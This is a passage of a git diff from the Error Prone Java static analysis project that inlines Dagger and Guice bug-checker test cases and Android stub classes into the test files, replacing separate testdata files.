.addSourceFile("testdata/stubs/android/app/Service.java") - .addSourceFile("testdata/stubs/android/content/Context.java") - .addSourceFile("testdata/stubs/android/content/Intent.java") - .addSourceFile("testdata/stubs/android/os/Bundle.java") - .addSourceFile("testdata/stubs/android/os/IBinder.java"); + .addSourceLines( + "Activity.java", + """ + package android.app; + + public class Activity { + public void onCreate(android.os.Bundle bundle) {} + }""") + .addSourceLines( + "Fragment.java", + """ + package android.app; + + public class Fragment { + public void onAttach(android.app.Activity activity) {} + + public void onAttach(android.content.Context context) {} + }""") + .addSourceLines( + "Service.java", + """ + package android.app; + + public class Service { + public void onCreate() {} + + public android.os.IBinder onBind(android.content.Intent intent) { + return null; + } + }""") + .addSourceLines( + "Context.java", + """ + package android.content; + + public class Context {}""") + .addSourceLines( + "Intent.java", + """ + package android.content; + + public class Intent {}""") + .addSourceLines( + "Bundle.java", + """ + package android.os; + + public class Bundle {}""") + .addSourceLines( + "IBinder.java", + """ + package android.os; + + public interface IBinder {}"""); @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AndroidInjectionBeforeSuperPositiveCases.java") - .addSourceFile("testdata/AndroidInjection.java") + .addSourceLines( + "AndroidInjectionBeforeSuperPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.dagger.testdata; + + import android.app.Activity; + import android.app.Fragment; + import android.app.Service; + import android.content.Context; + import android.content.Intent; + import android.os.Bundle; + import android.os.IBinder; + import dagger.android.AndroidInjection; + + final class AndroidInjectionBeforeSuperPositiveCases { + public class WrongOrder extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class StatementsInBetween extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + System.out.println("hello, world"); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public static class BaseActivity extends Activity {} + + public class ExtendsBase extends BaseActivity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderFragmentPreApi23 extends Fragment { + @Override + public void onAttach(Activity activity) { + super.onAttach(activity); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderFragment extends Fragment { + @Override + public void onAttach(Context context) { + super.onAttach(context); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderService extends Service { + @Override + public void onCreate() { + super.onCreate(); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + } + }""") + .addSourceLines( + "AndroidInjection.java", + """ +package dagger.android; + +import android.app.Activity; +import android.app.Fragment; +import android.app.Service; + +/** + * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and + * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. + */ +public final class AndroidInjection { + public static void inject(Activity activity) {} + + public static void inject(Fragment fragment) {} + + public static void inject(Service service) {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AndroidInjectionBeforeSuperNegativeCases.java") - .addSourceFile("testdata/AndroidInjection.java") + .addSourceLines( + "AndroidInjectionBeforeSuperNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.dagger.testdata; + + import android.app.Activity; + import android.app.Fragment; + import android.app.Service; + import android.content.Intent; + import android.os.Bundle; + import android.os.IBinder; + import dagger.android.AndroidInjection; + + final class AndroidInjectionBeforeSuperNegativeCases { + public class CorrectOrder extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public class StatementsInBetween extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + System.out.println("hello, world"); + super.onCreate(savedInstanceState); + } + } + + public static class BaseActivity extends Activity {} + + public class ExtendsBase extends BaseActivity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public static class Foo { + public void onCreate(Bundle bundle) {} + } + + public class FooActivity extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + new Foo().onCreate(savedInstanceState); + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public abstract class ActivityWithAbstractOnCreate extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) {} + + public abstract void onCreate(Bundle savedInstanceState, boolean bar); + } + + public class CorrectOrderFragment extends Fragment { + @Override + public void onAttach(Activity activity) { + AndroidInjection.inject(this); + super.onAttach(activity); + } + } + + public class CorrectOrderService extends Service { + @Override + public void onCreate() { + AndroidInjection.inject(this); + super.onCreate(); + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + } + }""") + .addSourceLines( + "AndroidInjection.java", + """ +package dagger.android; + +import android.app.Activity; +import android.app.Fragment; +import android.app.Service; + +/** + * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and + * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. + */ +public final class AndroidInjection { + public static void inject(Activity activity) {} + + public static void inject(Fragment fragment) {} + + public static void inject(Service service) {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java deleted file mode 100644 index 28fcf7bf260..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package dagger.android; - -import android.app.Activity; -import android.app.Fragment; -import android.app.Service; - -/** - * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and - * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. - */ -public final class AndroidInjection { - public static void inject(Activity activity) {} - - public static void inject(Fragment fragment) {} - - public static void inject(Service service) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java deleted file mode 100644 index b20171a3365..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.dagger.testdata; - -import android.app.Activity; -import android.app.Fragment; -import android.app.Service; -import android.content.Intent; -import android.os.Bundle; -import android.os.IBinder; -import dagger.android.AndroidInjection; - -final class AndroidInjectionBeforeSuperNegativeCases { - public class CorrectOrder extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public class StatementsInBetween extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - System.out.println("hello, world"); - super.onCreate(savedInstanceState); - } - } - - public static class BaseActivity extends Activity {} - - public class ExtendsBase extends BaseActivity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public static class Foo { - public void onCreate(Bundle bundle) {} - } - - public class FooActivity extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - new Foo().onCreate(savedInstanceState); - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public abstract class ActivityWithAbstractOnCreate extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) {} - - public abstract void onCreate(Bundle savedInstanceState, boolean bar); - } - - public class CorrectOrderFragment extends Fragment { - @Override - public void onAttach(Activity activity) { - AndroidInjection.inject(this); - super.onAttach(activity); - } - } - - public class CorrectOrderService extends Service { - @Override - public void onCreate() { - AndroidInjection.inject(this); - super.onCreate(); - } - - @Override - public IBinder onBind(Intent intent) { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java deleted file mode 100644 index 81c7dbc4f1b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java +++ /dev/null @@ -1,90 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.dagger.testdata; - -import android.app.Activity; -import android.app.Fragment; -import android.app.Service; -import android.content.Context; -import android.content.Intent; -import android.os.Bundle; -import android.os.IBinder; -import dagger.android.AndroidInjection; - -final class AndroidInjectionBeforeSuperPositiveCases { - public class WrongOrder extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class StatementsInBetween extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - System.out.println("hello, world"); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public static class BaseActivity extends Activity {} - - public class ExtendsBase extends BaseActivity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderFragmentPreApi23 extends Fragment { - @Override - public void onAttach(Activity activity) { - super.onAttach(activity); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderFragment extends Fragment { - @Override - public void onAttach(Context context) { - super.onAttach(context); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderService extends Service { - @Override - public void onCreate() { - super.onCreate(); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - - @Override - public IBinder onBind(Intent intent) { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java deleted file mode 100644 index 2e2309f132c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.app; - -public class Activity { - public void onCreate(android.os.Bundle bundle) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java deleted file mode 100644 index a94640bc3bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java +++ /dev/null @@ -1,22 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package android.app; - -public class Fragment { - public void onAttach(android.app.Activity activity) {} - - public void onAttach(android.content.Context context) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java deleted file mode 100644 index 68910f82273..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.app; - -public class Service { - public void onCreate() {} - - public android.os.IBinder onBind(android.content.Intent intent) { - return null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java deleted file mode 100644 index 3f75fd92af4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.content; - -public class Context {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java deleted file mode 100644 index ba7d2de5053..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.content; - -public class Intent {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java deleted file mode 100644 index f185bcbef41..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.os; - -public class Bundle {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java deleted file mode 100644 index 4e329f9ec85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.os; - -public interface IBinder {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java index 18e2badb5a7..3082e263b79 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java @@ -32,11 +32,177 @@ public class AssistedInjectScopingTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssistedInjectScopingPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedInjectScopingPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + import com.google.inject.Singleton; + import com.google.inject.assistedinject.Assisted; + import com.google.inject.assistedinject.AssistedInject; + import com.google.inject.servlet.RequestScoped; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class AssistedInjectScopingPositiveCases { + + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass { + @Inject + public TestClass(String unassisted, @Assisted String assisted) {} + } + + // BUG: Diagnostic contains: remove this line + @RequestScoped + public class TestClass2 { + @Inject + public TestClass2(String unassisted, @Assisted String assisted) {} + } + + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass3 { + @AssistedInject + public TestClass3(String param) {} + } + + /** Multiple constructors, but only one with @Inject, and that one matches. */ + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass4 { + @Inject + public TestClass4(String unassisted, @Assisted String assisted) {} + + public TestClass4(String unassisted, int i) {} + + public TestClass4(int i, String unassisted) {} + } + + /** Multiple constructors, none with @Inject, one matches. */ + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass5 { + public TestClass5(String unassisted1, String unassisted2) {} + + public TestClass5(String unassisted, int i) {} + + @AssistedInject + public TestClass5(int i, String unassisted) {} + } + + /** JSR330 annotations. */ + // BUG: Diagnostic contains: remove this line + @javax.inject.Singleton + public class TestClass6 { + @javax.inject.Inject + public TestClass6(String unassisted, @Assisted String assisted) {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssistedInjectScopingNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedInjectScopingNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.Inject; +import com.google.inject.Singleton; +import com.google.inject.assistedinject.Assisted; +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class AssistedInjectScopingNegativeCases { + + /** Class is not assisted and has no scoping annotation. */ + public class TestClass1 { + public TestClass1(String unassisted1, String unassisted2) {} + } + + /** Class is not assisted and has no scoping annotation, but has an unrelated annotation. */ + @SuppressWarnings("foo") + public class TestClass2 { + public TestClass2(String unassisted, @Assisted String assisted) {} + } + + /** Class is not assisted but has scoping annotation. */ + @Singleton + public class TestClass3 { + public TestClass3(String unassisted1, String unassisted2) {} + } + + /** Class is assisted via @Assisted param but has no scoping annotation. */ + public class TestClass4 { + @Inject + public TestClass4(@Assisted String assisted) {} + } + + /** Class is assisted via @AssistedInject constructor but has no scoping annotation. */ + public class TestClass5 { + @AssistedInject + public TestClass5(String unassisted) {} + } + + /** Class is not assisted -- constructor with @Assisted param does not have @Inject. */ + @Singleton + public class TestClass6 { + public TestClass6(@Assisted String assisted) {} + } + + /** Multiple constructors but not assisted. */ + @Singleton + public class TestClass7 { + public TestClass7(String unassisted1, String unassisted2) {} + + public TestClass7(String unassisted, int i) {} + + public TestClass7(int i, String unassisted) {} + } + + /** Multiple constructors, one with @Inject, non-@Inject ones match. */ + @Singleton + public class TestClass8 { + @Inject + public TestClass8(String unassisted1, String unassisted2) {} + + @AssistedInject + public TestClass8(String param, int i) {} + + @AssistedInject + public TestClass8(int i, String param) {} + } + + /** Multiple constructors, one with @Inject, non-@Inject ones match. */ + @Singleton + public class TestClass9 { + @Inject + public TestClass9(String unassisted1, String unassisted2) {} + + @AssistedInject + public TestClass9(String param, int i) {} + + @AssistedInject + public TestClass9(int i, String param) {} + } + + @Singleton + public class TestClass10 { + public TestClass10(@Assisted String assisted, String unassisted) {} + + public TestClass10(@Assisted String assisted, int i) {} + + public TestClass10(int i, @Assisted String assisted) {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java index f2b8ba66586..25b40b11503 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java @@ -32,11 +32,131 @@ public class AssistedParametersTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssistedParametersPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedParametersPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.assistedinject.Assisted; +import java.util.List; +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class AssistedParametersPositiveCases { + + /** Class has constructor with two @Assisted parameters of the same type. */ + public class TestClass1 { + @Inject + // BUG: Diagnostic contains: java.lang.String: x, y + public TestClass1(int n, @Assisted String x, @Assisted String y, int z) {} + + @Inject + // BUG: Diagnostic contains: java.lang.String, @Assisted("baz"): x, z + public TestClass1( + @Assisted("foo") int a, + @Assisted("foo") int b, + @Assisted("baz") String x, + @Assisted("baz") String z) {} + } + + /** Class has constructor with two @Assisted parameters of the same type and same value. */ + public class TestClass2 { + @Inject + // BUG: Diagnostic contains: int, @Assisted("foo"): x, y + public TestClass2(int n, @Assisted("foo") int x, @Assisted("foo") int y, String z) {} + } + + /** Class has constructor with two @Assisted parameters of the same parameterized type. */ + public class TestClass3 { + private static final String FOO = "foo"; + + @Inject + // BUG: Diagnostic contains: java.util.List, @Assisted("foo"): x, y + public TestClass3( + int n, @Assisted("foo") List x, @Assisted(FOO) List y, String z) {} + + @Inject + // BUG: Diagnostic contains: int, @Assisted("bar"): x, y + public TestClass3( + @Assisted() int n, @Assisted("bar") int x, @Assisted("bar") int y, String z) {} + } + + class GenericClass { + @Inject + // BUG: Diagnostic contains: T: a, b + GenericClass(@Assisted T a, @Assisted T b) {} + + @Inject + // BUG: Diagnostic contains: int: a, b + GenericClass(@Assisted Integer a, @Assisted int b) {} + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssistedParametersNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedParametersNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.assistedinject.Assisted; +import java.util.List; +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedParametersNegativeCases { + + /** Class has constructor with two @Assisted parameters of different types. */ + public class TestClass1 { + @Inject + public TestClass1(@Assisted int x, @Assisted String y, long z) {} + } + + /** + * Class has constructor with two @Assisted parameters, but the @Assisted annotations have + * different values. + */ + public class TestClass2 { + @Inject + public TestClass2(@Assisted("foo") int x, @Assisted("bar") int y, String z) {} + } + + /** + * Class has constructor with one @Assisted parameter with no value specified and another + * parameter of the same type. + */ + public class TestClass3 { + @Inject + public TestClass3(@Assisted int x, int y, String z) {} + } + + /** + * Class has constructor with one @Assisted parameters with a value specified and another + * parameter of the same type. + */ + public class TestClass4 { + @Inject + public TestClass4(@Assisted("foo") int x, int y, String z) {} + } + + /** + * Class has constructor with two @Assisted parameters with the same value and generic type and + * different type parameters. + */ + public class TestClass5 { + @Inject + public TestClass5( + @Assisted("foo") List x, @Assisted("foo") List y, String z) {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java index dcda76c3a2b..6563b1a7613 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java @@ -32,14 +32,145 @@ public class BindingToUnqualifiedCommonTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/BindingToUnqualifiedCommonTypePositiveCases.java") + .addSourceLines( + "BindingToUnqualifiedCommonTypePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.AbstractModule; + import com.google.inject.Provides; + + /** Tests for {@code BindingToUnqualifiedCommonType} */ + public class BindingToUnqualifiedCommonTypePositiveCases { + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(Integer.class).toInstance(2); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(String.class).toInstance("Hello"); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(Double.class).toProvider(() -> 42.0); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + binder().bind(Long.class).toInstance(42L); + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + int providesFoo() { + return 42; + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + Integer provideBoxedFoo() { + return 42; + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + String providesGreeting() { + return "hi"; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/BindingToUnqualifiedCommonTypeNegativeCases.java") + .addSourceLines( + "BindingToUnqualifiedCommonTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.inject.AbstractModule; +import com.google.inject.Binder; +import com.google.inject.BindingAnnotation; +import com.google.inject.Module; +import com.google.inject.Provides; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.util.List; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@code BindingToUnqualifiedCommonType} */ +public class BindingToUnqualifiedCommonTypeNegativeCases { + + // All of the tagged instances would normally be flagged, but aren't because it's in a JUnit4 + // class + @RunWith(JUnit4.class) + static class MyTestClass { + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + bind(Integer.class).toInstance(2); + bind(String.class).toInstance("Hello"); + bind(Double.class).toProvider(() -> 42.0); + binder().bind(Long.class).toInstance(42L); + } + + @Provides + int providesFoo() { + return 42; + } + + @Provides + Integer provideBoxedFoo() { + return 42; + } + + @Provides + String providesGreeting() { + return "hi"; + } + } + } + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + // Bindings to unannotated complex instances + bind(A.class).toInstance(new A()); + + // Binding to literals, but with a binding annotation + bind(Integer.class).annotatedWith(MyBindingAnnotation.class).toInstance(42); + } + + @Provides + List providesFoo() { + return ImmutableList.of(42); + } + } + + /** implements the Module interface directly */ + class Module2 implements Module { + @Override + public void configure(Binder binder) {} + + @Provides + @MyBindingAnnotation + int providesFoo() { + return 42; + } + } + + class A {} + + @BindingAnnotation + @Retention(RetentionPolicy.RUNTIME) + @interface MyBindingAnnotation {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java index c4136128a70..444b1ebb0d4 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java +++ 